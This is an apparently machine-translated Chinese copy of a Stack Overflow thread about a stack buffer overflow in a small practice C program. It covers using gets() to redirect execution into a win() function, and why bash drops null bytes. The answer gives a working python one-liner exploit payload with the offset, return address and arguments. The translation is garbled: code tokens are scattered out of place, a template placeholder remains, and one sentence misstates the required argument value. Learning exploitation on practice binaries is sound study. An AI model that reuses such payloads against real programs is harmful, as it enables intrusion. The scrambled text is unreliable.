我有一个容易遭受缓冲区溢出的程序。易受攻击的函数有2个参数。第一个是标准的4个字节。但是,对于第二个程序,该程序执行以下操作:
xor ch, 0
...
cmp dword ptr [ebp+10h], 0F00DB4BE
现在,如果我提供2个不同的4字节参数作为利用的一部分,即ABCDEFGH
(假设ABCD
是第一个参数,EFGH
是第二个参数),{{1 }}变成CH
。因此,我自然而然地想到了以下内容(假设G
是正确的):
ABCD
但是发生的是空位似乎被忽略了!在ABCD\x00\x0d\x00\x00
和CH = 0
中发送以上结果。无论我将CL = 0xd
放在哪里,即:
\x0d
ABCD\x0d\x00\x00\x00
ABCD\x00\x0d\x00\x00
ABCD\x00\x00\x0d\x00
所有产生相同的行为。
如何将ABCD\x00\x00\x00\x0d
的其余部分保留为空,如何继续覆盖CH
?
编辑:请在下面查看我自己的答案。简短的版本是bash忽略空字节,部分解释了为什么该漏洞利用在本地不起作用。确切原因可以在here中找到。感谢Michael Petch指出来!
来源:
ECX
#include <stdio.h>
#include <stdlib.h>
void win(long long arg1, int arg2)
{
if (arg1 != 0x14B4DA55 || arg2 != 0xF00DB4BE)
{
puts("Close, but not quite.");
exit(1);
}
printf("You win!\n");
}
void vuln()
{
char buf[16];
printf("Type something>");
gets(buf);
printf("You typed %s!\n", buf);
}
int main()
{
/* Disable buffering on stdout */
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
的可执行文件反汇编的相关部分是:
objdump
答案 0 :(得分:2)
目前还不清楚为什么您对ECX
函数中的xor ch, 0
或win
指令中的值感到迷恋。根据 C 代码,很明显,要检查获胜,必须将64位(long long
)arg1
设置为0x14B4DA55,将arg2
设置为0x14B4DA55。 0xF00DB4BE。满足该条件后,它将打印You win!
我们需要某种能够利用win
函数并使其似乎正在传递第一个参数(64位long long
)和32位参数的缓冲区利用程序int
作为第二个参数。
最明显的实现方法是函数buf
中的溢出vuln
,该函数有策略地覆盖返回地址,并将其替换为win
的地址。在反汇编输出中,win
位于0x080491c2。我们将需要先写0x080491c2,然后再写一些虚拟值作为返回地址,再写64位值0x14B4DA55(与0x0000000014B4DA55相同),再写32位值0xF00DB4BE。
需要返回地址的伪值,因为我们需要在堆栈上模拟函数调用。我们不会发出call
指令,因此我们必须使其看起来好像已经完成了。目标是打印You win!
是否在此之后程序崩溃与否无关。
由于x86处理器的字节序很少,因此返回地址(win
,arg1
和arg2
必须以相反的顺序存储为字节。
最后一个大问题是,我们必须向gets
馈送多少字节以使缓冲区溢出才能到达返回地址?您可以使用试错法(bruteforce)来解决这个问题,但是我们可以看看对gets
的调用的反汇编:
80492ac: 8d 45 e8 lea -0x18(%ebp),%eax 80492af: 50 push %eax 80492b0: e8 8b fd ff ff call 8049040 <gets@plt
LEA
用于计算堆栈上buf
的地址(有效地址),并将其作为第一个参数传递给gets
。 0x18是24个字节(十进制)。尽管buf
的长度定义为16个字节,但编译器还为对齐目的分配了额外的空间。我们必须增加4个字节来解决函数序言将EBP
压入堆栈的事实。总共28个字节(24 + 4)才能到达返回地址在堆栈上的位置。
在许多教程中,通常使用PYTHON生成输入序列。直接在外壳程序字符串中嵌入NUL(\0
)字符可能会导致Shell程序过早地在NUL字节(issue that people have when using BASH)处终止字符串。我们可以使用以下方式将字节序列通过管道传输到我们的程序中:
python -c 'print "A"*28+"\xc2\x91\x04\x08" \
+"B"*4+"\x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0"' | ./progname
progname
是可执行文件的名称。运行时,它应类似于:
Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBUڴ! You win! Segmentation fault
注意:组成A
和B
之间的返回地址的4个字符不可打印,因此不会出现在控制台输出中,但是它们以及所有其他不可打印的字符仍然存在。
答案 1 :(得分:0)
作为对我自己问题的有限回答,特别是关于为何忽略空字节的问题:
似乎bash似乎忽略了空字节
我的许多其他同伴在编写漏洞利用程序时也遇到了同样的问题。例如,在gdb
上,它将在服务器上运行,但不能在本地运行。 Bash只会忽略空字节,因此\x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0
将被读为\x55\xda\xb4\x14\xbe\xb4\x0d\xf0
。这种行为的确切原因仍然让我难以理解,但记住这是一件好事!